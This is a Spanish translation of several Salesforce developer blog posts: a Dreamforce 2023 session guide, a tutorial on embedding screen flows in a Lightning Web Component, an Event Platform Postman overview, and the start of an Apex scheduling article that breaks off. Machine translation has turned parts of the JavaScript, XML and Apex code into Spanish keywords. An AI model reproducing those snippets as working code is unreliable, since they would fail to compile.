Anika Teppo es evangelista técnica en Salesforce. Ha estado trabajando con el equipo de revisión de seguridad de AppExchange en Salesforce desde 2017, y su función actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

La guía para desarrolladores de Salesforce para Dreamforce 2023 ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

La guía del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

¡Llamando a todos los desarrolladores de Salesforce! ¿Estás listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres días como ninguna otra, así que prepárate para aprender, conectarte, divertirte y retribuir rodeado de compañeros innovadores en la conferencia de tecnología más grande del mundo.

Sabemos que está contando ansiosamente los días hasta que comience Dreamforce, así que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones prácticas en acción en Developer Grove.

Vea la última tecnología en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM están cambiando rápidamente el futuro de los negocios y los desarrolladores están a la vanguardia. Únase al presidente y director de ingeniería, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y cómo puede aprovechar la IA en su trabajo.

Si asistirá a Dreamforce en persona, asegúrese de agregar la conferencia magistral a su agenda . Si lo seguirá desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

📅 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pacífico
🎤 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
Añadir a tu agenda

Descubra los aspectos más destacados de la versión para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versión Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versión que ¡no querrás perderte esto!

📅 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pacífico
🎤 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
Añadir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinación de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores prácticas, consejos y mucha inspiración. ¡Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y más.

📍 Las sesiones de calentamiento se ubicarán en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevarán a cabo en el segundo y tercer piso de Moscone West. Asegúrese de consultar su agenda para conocer la ubicación exacta de las habitaciones.

Para encontrar estas sesiones en el catálogo de sesiones de Dreamforce , seleccione Función en la navegación izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda ✏️

Descubra el poder de Einstein GPT para desarrolladores
Qué esperar: La IA generativa ha arrasado en el mundo de la tecnología. Conozca las capacidades más recientes de Einstein GPT y cómo los desarrolladores pueden utilizar la tecnología para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-García, Ananya Jha
Añade esta sesión a tu agenda

Comprensión de la nube de datos para desarrolladores de Salesforce
Qué esperar: aprenda qué significa Data Cloud para los desarrolladores, cómo se exponen sus artefactos como metadatos de plataforma familiares y cómo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
Añade esta sesión a tu agenda

¿Quieres un mejor código? Einstein GPT y Code Analyzer pueden ayudar
Qué esperar: Impulse el desarrollo de Salesforce con el dúo dinámico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda cómo optimizar la generación y validación de código directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
Añade esta sesión a tu agenda

Componentes web Lightning: novedades y novedades
Qué esperar: aprenda cómo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea más fácil y eficiente. Vea las últimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
Añade esta sesión a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qué esperar: Los gerentes de producto de Salesforce profundizarán en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
Añade esta sesión a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qué esperar: Sumérgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a cómo redactar consultas con IA generativa.
Oradores destacados: Julián Duque, Ben Sklar
Añade esta sesión a tu agenda

Desarrollar componentes web Lightning para dispositivos móviles sin conexión
Qué esperar: ¿ Usuarios móviles sin conexión? Aprenda cómo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo móvil está desconectado de Internet.
Oradora destacada: Angela Le
Añade esta sesión a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qué esperar: profundice en cómo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas más comunes, como la resolución de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
Añade esta sesión a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qué esperar: Únase a esta sesión para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores prácticas, consejos y trucos, antipatrones y más con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
Añade esta sesión a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres días .

Nuestra principal atracción este año es una competencia estilo arcade que pone a prueba tus habilidades de ingeniería en IA. ¡Completa tantos desafíos como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificación y puedas presumir de ello!

Visite la estación de demostración que cubre nuestras aplicaciones de muestra y recetas de código, y descubra cómo puede utilizarlas en su propio trabajo. Cada estación contará con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

❗Novedad de este año: Estación de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta página y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviará una confirmación por correo electrónico y estará disponible en la aplicación Salesforce Events; descárguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 👀

Conferencia principal de Dreamforce

Únase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones más recientes.

📅 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pacífico
Añade la keynote a tu agenda

Fiel al foro principal de clientes

Únase al cofundador y director de tecnología Parker Harris en el foro anual de clientes True to the Core. Escuche a los líderes de productos compartir los aspectos más destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesión para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. ¡Una cosa que seguirá siendo “central” en True to the Core es que habrá muchas preguntas!

📅 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda cómo resolver sus desafíos de TI más difíciles con IA + Datos + CRM. Escuche cómo los pioneros utilizan las últimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de próxima generación, con potentes capacidades de IA generativa integradas.

📅 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pacífico
Añade esta sesión a tu agenda

Celebración pionera de la noche 1

Recuperaremos la diversión la primera noche de Dreamforce. Únase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

¿Busca diversificar su agenda en Dreamforce este año? Consulte todas las sesiones de código y de código bajo en la sección de administración y en la sección de arquitecto . Para obtener más información sobre cada uno, lea la Guía del administrador de Dreamforce 2023 .

Obtenga aún más contenido de Dreamforce 2023 en Salesforce+

¿No puedes asistir a Dreamforce en persona? Durante los tres días, las conferencias magistrales y las sesiones seleccionadas se transmitirán en vivo en Salesforce+. Habrá dos canales y 72 horas de transmisión en vivo. Además de la experiencia en vivo, más de 120 episodios bajo demanda estarán disponibles para verlos después de que finalice Dreamforce en cualquier momento y lugar.

Regístrese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

¡Dreamforce 2023 estará aquí antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Regístrese para asistir a Dreamforce si aún no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versión para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pacífico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la página Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicación Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de fácil acceso.
  5. Conéctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, asegúrese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener más actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista sénior en marketing de desarrolladores en Salesforce. Lo que más le apasiona es la narración de historias, los podcasts y la comida vegana. Encuéntrala en LinkedIn .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Incrustar flujos de pantalla en el componente web Lightning

Incrustar flujos de pantalla en el componente web Lightning

Última actualización el 19 de julio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo incrusta un flujo de pantalla dentro de un componente web Lightning?

Objetivos:

Después de leer este blog, podrá:

  • Incruste el flujo de pantalla dentro de un componente web Lightning
  • Aplicar representación condicional en el componente web Lightning
  • Use uiRecordApi para obtener el valor del campo del registro sin usar la clase de Apex
  • y mucho más

En el pasado, escribí algunos artículos sobre Lightning Web Component . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Pasar datos del componente web Lightning al flujo de pantalla
  2. Uso del componente web Lightning para mostrar un banner de alerta

Janel Parrish trabaja como desarrollador junior en Gurukul on Cloud (GoC). Se le ha encomendado un requisito comercial para desarrollar un componente LWC con las siguientes funcionalidades:

  1. Debería mostrar un flujo de pantalla llamado 'parterFlow' cuando el tipo de cuenta es 'Socio tecnológico'.
  2. Debería presentar un flujo de pantalla llamado 'customerFlow' cuando el tipo de cuenta es 'Cliente – Directo'.
  3. El componente LWC debe diseñarse con la capacidad de incorporarse en la página de registro de rayos de la cuenta.

Enfoque de Campeón de Automatización (I-do):

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Para crear un flujo en el componente Lightning Web, establezca el atributo flowApiName del componente Lightning-Flow en el nombre de flujo que desea usar. El componente incluye botones de navegación (Atrás, Siguiente, Pausa y Finalizar) para que los usuarios naveguen dentro del flujo.

También usaremos un adaptador de cable uiRecordApi que nos permite interactuar con registros de Salesforce desde los componentes del componente web lightning sin escribir código Apex. Esta API le permite realizar operaciones como recuperar los datos de un registro o los detalles del diseño, crear, eliminar o actualizar un registro, etc. Estos son algunos de los métodos clave proporcionados por uiRecordApi :

  1. getRecord : este método le permite obtener datos de registro.
  2. getRecordCreateDefaults : este método proporciona los valores predeterminados que utiliza Salesforce al crear un nuevo registro.
  3. getRecordUi : obtiene los detalles de diseño de un registro, como qué campos se muestran, cómo se muestran, etc.
  4. createRecord : este método le permite crear un nuevo registro.
  5. deleteRecord – Le permite eliminar un registro.
  6. updateRecord : te permite actualizar un registro existente.

En el archivo de configuración XML, usaremos lightning__RecordPage como destino para permitir que el componente web de iluminación se use en una página de registro en Lightning App Builder.

Práctica guiada (nosotros hacemos):

Hay 3 pasos para resolver el requisito comercial de Janel utilizando Lightning Web Component y Screen Flow . Debemos:

  1. Cree un ScreenFlow (customerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  2. Cree un ScreenFlow (partnerFlow) para manejar la solicitud del cliente
    1. Definir propiedades de flujo para el flujo de pantalla
    2. Agregue una variable de texto para almacenar el nombre de la cuenta
    3. Agregue una pantalla para mostrar el nombre de la cuenta desde una variable de texto
  3. Cree un componente web relámpago para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Paso 1.1: Definir propiedades de flujo (customerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 1.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 1.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : customerFlow {!$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 2.1: Definir propiedades de flujo (partnerFlow)

  1. Haga clic en Configuración .
  2. En el cuadro Búsqueda rápida, escriba Flujos .
  3. Seleccione Flujos , luego haga clic en Nuevo flujo .
  4. Seleccione el flujo de pantalla   y haga clic en Crear y configurar el flujo.
  5. Se abrirá el diseñador de flujo para usted.

Paso 2.2: agregue una variable de texto al nombre de la cuenta de la tienda

  1. En Caja de herramientas , seleccione Administrador y, a continuación, haga clic en Nuevo recurso para almacenar el nombre de la cuenta.
  2. Ingrese la siguiente información :
    1. Tipo de recurso : Variable
    2. Nombre de API : nombre de cuenta
    3. Tipo de datos : Texto
    4. Valor predeterminado : {!$GlobalConstant.EmptyString}
    5. Comprobar disponible para entrada
    6. Comprobar disponible para la salida
  3. Haga clic en Listo.

Paso 2.3: agregue una pantalla para mostrar el nombre de la cuenta desde la variable de texto

  1. En Flow Designer, haga clic en el icono + y seleccione el elemento Pantalla .
  2. Ingrese la siguiente información :
    1. Ingrese la etiqueta, el nombre de la API se completará automáticamente.
  3. Haga clic en Listo.

Al final, Janel's Flow se verá como la siguiente captura de pantalla:

Una vez que todo se vea bien, realice los siguientes pasos:

  1. Haga clic en Guardar .
  2. Ingrese la etiqueta de flujo, el nombre de la API se completará automáticamente.
  3. Haga clic en Mostrar avanzado .
  4. Versión de API para ejecutar el flujo : 58
  5. Etiqueta de entrevista : flujo de socio { !$Flow.CurrentDateTime}
  6. Haga clic en Guardar .

Paso 3: cree un componente web Lightning para mostrar los diferentes flujos de pantalla según el tipo de cuenta

Debajo de la plantilla de componente web lightning, se muestra una tarjeta Lightning titulada Iniciar pedido . Dependiendo de si la propiedad isPartner o isCustomer es verdadera, se iniciará y mostrará el Lightning Flow correspondiente ("rakeshistomMVP__partnerFlow" o "rakeshistomMVP__customerFlow").

embedFlowToLWC.html

Utilizaremos el componente lightning-flow para incrustar un flujo de pantalla en el componente lightning web. Desglosemos el código:

  • En LWC, el archivo HTML de cada componente debe envolverse con una etiqueta <plantilla> .
  • <template if:true={isPartner}> y <template if:true={isCustomer}> : estas son plantillas condicionales que muestran contenido en función de la veracidad de las propiedades isPartner e isCustomer , respectivamente. El contenido dentro de estas plantillas solo se representará si la condición correspondiente es verdadera.

<plantilla> <div class="slds-m-alrededor_medio"> <lightning-card title="Iniciar pedido" icon-name="estándar:pedidos"> <div class="slds-m-alrededor_medio"> <template if:true={esSocio}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__partnerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> <template if:true={esCliente}> <lightning-flow onstatuschange={handleStatusChange} flow-api-name="rakeshistomMVP__customerFlow" flow-input-variables={inputVariables}></lightning-flow> </plantilla> </div> </tarjeta-relámpago> </div>
</plantilla>
embedFlowToLWC.js

Este código JavaScript de muestra usa el decorador @api para crear propiedades públicas. Por ejemplo, recordId es una propiedad reactiva pública que contiene el ID de la página de registro. Mientras que el decorador @wire lee los datos de Salesforce. getRecord es una función del módulo lightning/uiRecordApi que recupera un registro. accountType y accountName se importan del esquema de Salesforce.

  • Las declaraciones de importación se utilizan para importar los módulos y las dependencias necesarios. LightningElement es el componente básico para crear componentes web Lightning.
  • account({ error, data }) es una función que maneja la respuesta de la llamada getRecord . Si hay un error, asigna el error a this.error . Si se devuelven datos, establece this.accountName en el nombre de la cuenta y establece isPartner o isCustomer en verdadero según el tipo de cuenta.
  • get inputVariables() es un método captador que devuelve una matriz de objetos, que representa variables de entrada para un flujo. En este caso, devuelve el nombre de la cuenta.

import { LightningElement, api, wire } de 'lwc';
importar { getRecord } desde 'lightning/uiRecordApi';
importar tipo de cuenta desde '@salesforce/schema/Account.Type';
importar nombre de cuenta desde '@salesforce/schema/Account.Name'; exportar la clase predeterminada FlowLauncher extiende LightningElement { @api recordId; nombre de la cuenta; esSocio = falso; esCliente = falso; @wire(getRecord, { recordId: '$recordId', campos: [nombre de cuenta, tipo de cuenta] }) cuenta ({ error, datos }) { si (error) { this.error = error; } más si (datos) { this.accountName = data.fields.Name.value; if(data.fields.Type.value === 'Socio tecnológico') { this.isPartner = verdadero; this.isCustomer = false; } else if(data.fields.Type.value === 'Cliente - Directo') { this.isCustomer = true; this.isPartner = false; } } } obtener variables de entrada () { devolver [ { nombre: 'nombre de cuenta', tipo: 'Cadena', valor: este.nombreDeCuenta } ]; } handleStatusChange(evento) { if(evento.detalle.estado === 'FINALIZADO') { //Acción después de que un flujo haya terminado } }
}
embedFlowToLWC.js-meta.xml

El elemento isExposed se establece en verdadero, lo que hace que el componente esté disponible para su uso en herramientas como Lightning App Builder o Flow Builder.

El elemento de objetivos se usa para especificar dónde se puede usar su componente. En este caso, la etiqueta lightning__RecordPage significa que este componente está diseñado para usarse en una página de registro en Lightning App Builder.



<?versión xml=”1.0″ codificación=”UTF-8″?>
<LightningComponentBundle xmlns=”http://soap.sforce.com/2006/04/metadata”>
<apiVersion>58.0</apiVersion>
<isExposed>verdadero</isExposed>
<target>relámpago__RecordPage</target>
</objetivos>
</LightningComponentBundle>

Prueba de concepto

Evaluación formativa:

¡Quiero saber de ti!

¿Qué es una cosa que aprendiste de esta publicación? ¿Cómo imagina aplicar este nuevo conocimiento en el mundo real? Siéntase libre de compartir en los comentarios a continuación.

Seguir leyendo

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Explore la API de la plataforma de eventos con la colección de cartero extendida ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Explore la API de la plataforma de eventos con la colección extendida de Postman | Blog de desarrolladores de Salesforce

Para una gran cantidad de nuestros clientes, la plataforma Salesforce sirve como la piedra angular de sus sistemas de información y, por lo tanto, debe integrarse perfectamente con una amplia gama de sistemas de terceros. Entre las muchas opciones de integración disponibles se encuentra la plataforma de eventos de Salesforce.

En esta publicación, repasaremos brevemente la plataforma de eventos y luego exploraremos la nueva plataforma de eventos y las solicitudes de API que se agregaron a la colección de API de la plataforma de Salesforce en Postman. También aprenderá cómo introdujimos la capacidad de configurar Event Relays y canales personalizados con Postman.

Acerca de la plataforma de eventos de Salesforce

Event Platform consta de diferentes funciones que le permiten crear arquitecturas basadas en eventos gracias a Salesforce Event Bus.

Tipos de eventos

El bus de eventos de Salesforce admite dos tipos principales de eventos casi en tiempo real: eventos de plataforma y eventos de cambio.

Los eventos de la Plataforma permiten la comunicación dentro de la Plataforma y con sistemas externos. Estos eventos se pueden enviar y recibir con código personalizado o herramientas declarativas, como Flow. Hay eventos de plataforma estándar con campos predefinidos y eventos personalizados que puede crear con campos personalizados.

Los eventos de cambio son enviados automáticamente por la Plataforma cada vez que se crea, modifica, elimina o recupera un registro. Cada evento de cambio está vinculado a un objeto de Salesforce estándar o personalizado, y los campos de evento coinciden con los de su objeto principal.

Los eventos de plataforma y los eventos de cambio se pueden enviar y recibir gracias a una selección de dos tecnologías de transmisión: la biblioteca CometD heredada o la API Pub/Sub basada en gRCP más moderna . Independientemente de la tecnología o el tipo de evento, publica o se suscribe a eventos a través de canales dedicados.

Canales personalizados

Puede definir un canal personalizado para agrupar mensajes de eventos del mismo tipo (eventos de plataforma o eventos de cambio) en una transmisión. Por ejemplo, puede combinar eventos de cambio de cuenta, contacto y pedido en un solo canal personalizado CustomerUpdates__chn . Después de suscribirse a este canal, recibirá notificaciones sobre cambios en cualquiera de esos tres objetos.

Tenga en cuenta que los canales personalizados son compatibles con eventos de plataforma personalizados, pero no con eventos de plataforma estándar.

Además de la capacidad de agrupar varios eventos, los canales personalizados desbloquean dos funciones: filtrado de eventos y cambio de enriquecimiento de eventos.

El filtrado de eventos le permite configurar expresiones que filtran los eventos que se envían en un canal personalizado. Por ejemplo, podría crear un canal específico como UkLargeCustomerUpdates__chn que filtra las actualizaciones de la cuenta, donde el país de facturación es el Reino Unido y los ingresos anuales superan los 500k. El uso del filtrado de eventos ayuda a simplificar el código del lado del cliente, pero también ayuda a evitar los límites máximos de suscriptores simultáneos .

Los canales personalizados de Change Data Capture también otorgan la capacidad de declarar campos enriquecidos . Cuando se trabaja con eventos de cambio, solo se pasan los valores de campo actualizados en los datos del evento. Esta optimización puede ser problemática en ciertas situaciones, por ejemplo, cuando desea sincronizar con un sistema de terceros con una ID externa. En este caso, el ID externo no cambia, por lo que nunca forma parte de los datos del evento de cambio. Afortunadamente, el enriquecimiento de campos le permite declarar un canal personalizado en el que puede especificar campos que siempre se pasarán en el contexto de eventos de cambio.

Relevo de eventos

Event Relay le permite integrar perfectamente los eventos en tiempo real de Salesforce con Amazon Web Services (AWS). Gracias a Event Relay, los eventos de la plataforma y los eventos de Change Data Capture se envían a Amazon EventBridge a través de canales y los componentes de AWS pueden consumirlos directamente. Los componentes de AWS también pueden publicar eventos de plataforma de forma nativa.

Consulte esta publicación de Event Relay para obtener más información.

Antes del lanzamiento de Summer '23, Event Relay solo se podía configurar a través de las API. Ahora, hay una interfaz de usuario dedicada en Configuración. La única pieza que aún necesita crear a través de la API de herramientas o la API de metadatos son los canales personalizados.

Actualizaciones de Salesforce Event Platform para la colección Postman

En junio, actualizamos la colección de API de Salesforce Platform para Postman para incluir solicitudes para interactuar con Event Platform . Si no está familiarizado con Postman o la colección de API de plataforma, eche un vistazo al proyecto Quick Start: Connect Postman to Salesforce Trailhead para comenzar.

Canales personalizados

Nuestras nuevas solicitudes de Postman son un gran ahorro de tiempo ya que, a partir del lanzamiento de Summer '23, los canales personalizados solo se pueden configurar a través de metadatos o llamadas a la API de herramientas y no se pueden modificar directamente en la configuración de Salesforce.

Hemos introducido una serie de solicitudes para realizar operaciones de creación, lectura, actualización y eliminación (CRUD) en canales personalizados y los dos tipos de metadatos relacionados: PlatformEventChannel (consulte los documentos ) y PlatformEventChannelMember (consulte los documentos ).

A pesar de sus nombres, estos tipos de metadatos funcionan tanto para eventos de plataforma como para canales personalizados de eventos de cambio. Las únicas diferencias son que el valor del atributo ChannelType debe establecerse en event para eventos de plataforma o data para eventos de cambio, y que el atributo EnrichedFields solo está disponible para canales personalizados de eventos de cambio.

Publicar eventos de la plataforma

Hemos agregado una serie de ejemplos para eventos de plataforma de publicación. Movimos la solicitud de la API REST existente a la nueva subcarpeta Publicar eventos de la plataforma y agregamos dos ejemplos para publicar varios eventos en una sola solicitud con la API compuesta y la API SOAP.

Configuración de retransmisión de eventos

La carpeta Configuración de retransmisión de eventos es donde se encuentran la mayoría de las solicitudes nuevas. Estas nuevas solicitudes son fundamentales para configurar un relevo de eventos:

  • Operaciones CRUD en Credenciales con nombre que se introdujeron en Summer '23
  • Operaciones CRUD en la configuración de Event Relay
  • Comentarios de retransmisión de eventos de consultoría

esquema de eventos

Agregamos dos nuevas solicitudes para recuperar el esquema de un evento de plataforma, ya sea desde su ID o desde su nombre . Estas solicitudes son útiles para recuperar los campos de los eventos.

Lo que nos depara la colección Postman

Invertimos continuamente en nuestra colección de API de plataforma y buscamos agregar soporte para la suscripción a eventos de la API Pub Sub. CometD no será compatible, ya que es una biblioteca que requiere un servidor de aplicaciones, pero estamos considerando conectarnos con la API Pub/Sub basada en gRPC .

Postman ha lanzado una serie de funciones para interactuar con las API de gRPC desde el año pasado. Gracias a esto, podemos conectarnos a la API de Pub/Sub, suscribirnos a eventos y recibirlos. Sin embargo, lamentablemente no podemos decodificar su carga útil, ya que está comprimida por la plataforma de Salesforce por motivos de rendimiento. Estamos esperando una nueva característica de Postman que nos permita cargar una biblioteca (Apache Avro) para decodificar las cargas útiles de eventos cuando se reciben.

palabras de cierre

Eso es todo para nuestra breve descripción general de Event Platform y las últimas incorporaciones a la colección de API de Salesforce Platform. Gracias al crecimiento de esta caja de herramientas, puede comenzar rápidamente a explorar y configurar Event Platform.

Si disfruta de nuestro contenido de Postman, háganoslo saber. También puede echar un vistazo a nuestras otras colecciones de código abierto y contribuir .

Recursos

Sobre el Autor

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

Obtenga las últimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a través de Slack o RSS.

Agregar a Slack Suscríbete a RSS

Seguir leyendo

Dominar el arte de programar clases por lotes en Apex

Dominar el arte de programar clases por lotes en Apex

Última actualización el 15 de junio de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • ¿Cómo se puede utilizar el método System.schedule() para programar un trabajo de Apex Batch?

Objetivos:

Después de leer este blog, podrá:

  • Configurar trabajo programado a través de la configuración de Salesforce
  • Comprender la función y el significado del método System.schedule().
  • Aprenda paso a paso cómo programar un trabajo de Apex Batch utilizando el método System.schedule().
  • Explore ejemplos prácticos y casos de uso donde se puede implementar el método System.schedule().
  • y mucho más

👉 En el pasado escribí algunos artículos sobre Apex . ¿Por qué no echarles un vistazo mientras estás en ello?

  1. Calcular la cobertura general del código en Salesforce
  2. Comprobar si una cadena es nula, vacía o en blanco en Apex
  3. Establecer fecha de creación para sObject de clase de prueba en Apex

Isabella Stewart trabaja como administradora de Salesforce en Gurukul On Cloud (GoC). Aunque es relativamente nueva en la programación de Apex, está ansiosa por explorar diferentes métodos para programar clases por lotes en Salesforce y ampliar su conocimiento en esta área.

¿Qué es un trabajo programado?

En Salesforce, un trabajo programado se refiere a una función que permite a los administradores y desarrolladores programar la ejecución automática de clases de Batch en momentos o intervalos específicos.

Los trabajos programados en Salesforce generalmente se usan para realizar varias acciones, como actualizaciones de datos, procesamiento de registros, envío de notificaciones por correo electrónico, generación de archivos PDF e integración con sistemas externos. Pueden ser particularmente útiles para tareas que deben realizarse a intervalos regulares, como por hora, día, semana o mes.

👉 Para programar una clase de Apex para que se ejecute a intervalos regulares, primero escriba una clase de Apex que implemente la interfaz Schedulable proporcionada por Salesforce.


la clase global ScheduleAccountSync implementa Programable { ejecución de vacío global (Contexto programable SC) { AccounSync ASync = new AccounSync(); }
}

Enfoque de Campeón de Automatización (I-do):

Para crear un trabajo programado en Salesforce, puede usar Apex Scheduler a través de la configuración de Salesforce o el método System.schedule desde Developer Console (Ejecutar anónimo).

